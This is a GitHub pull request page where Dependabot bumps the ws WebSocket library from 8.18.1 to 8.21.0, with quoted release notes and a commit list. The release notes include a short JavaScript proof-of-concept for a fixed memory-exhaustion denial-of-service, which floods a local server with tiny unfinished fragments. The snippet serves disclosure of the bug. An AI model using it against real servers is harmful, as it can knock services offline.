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Bump ws from 8.18.1 to 8.21.0 in /packages/http-client-python#10719

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May 26, 2026
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Bump ws from 8.18.1 to 8.21.0 in /packages/http-client-python#10719
msyyc merged 1 commit into
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dependabot/npm_and_yarn/packages/http-client-python/ws-8.20.1

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@dependabot dependabot Bot commented on behalf of github May 18, 2026

Bumps ws from 8.18.1 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

... (truncated)

Commits
  • bca91ad [dist] 8.21.0
  • 2b2abd4 [security] Limit retained message parts
  • 78eabe2 [security] Add latest vulnerability to SECURITY.md
  • 5d9b316 [dist] 8.20.1
  • c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
  • ce2a3d6 [ci] Test on node 26
  • 58e45b8 [ci] Do not test on node 25
  • 5f26c24 [ci] Run the lint step on node 24
  • 8439255 [dist] 8.20.0
  • d3503c1 [minor] Export the PerMessageDeflate class and header utils
  • Additional commits viewable in compare view

@microsoft-github-policy-service microsoft-github-policy-service Bot added the emitter:client:python Issue for the Python client emitter: @typespec/http-client-python label May 18, 2026
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pkg-pr-new Bot commented May 18, 2026

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npm i https://pkg.pr.new/@typespec/http-client-python@10719

commit: f490bcf

@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/packages/http-client-python/ws-8.20.1 branch from 143bf48 to b30c5d5 Compare May 20, 2026 20:37
@dependabot dependabot Bot changed the title build(deps): bump ws from 8.18.1 to 8.20.1 in /packages/http-client-python build(deps): bump ws from 8.18.1 to 8.21.0 in /packages/http-client-python May 25, 2026
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/packages/http-client-python/ws-8.20.1 branch from b30c5d5 to 6f005a8 Compare May 25, 2026 05:14
@dependabot dependabot Bot changed the title build(deps): bump ws from 8.18.1 to 8.21.0 in /packages/http-client-python Bump ws from 8.18.1 to 8.21.0 in /packages/http-client-python May 25, 2026
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/packages/http-client-python/ws-8.20.1 branch from 6f005a8 to a9c23e9 Compare May 25, 2026 05:47
Bumps [ws](https://github.com/websockets/ws) from 8.18.1 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.18.1...8.21.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.20.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/packages/http-client-python/ws-8.20.1 branch from a9c23e9 to f490bcf Compare May 25, 2026 05:51
@msyyc msyyc added this pull request to the merge queue May 26, 2026
Merged via the queue into main with commit a8f60e7 May 26, 2026
34 checks passed
@msyyc msyyc deleted the dependabot/npm_and_yarn/packages/http-client-python/ws-8.20.1 branch May 26, 2026 04:24
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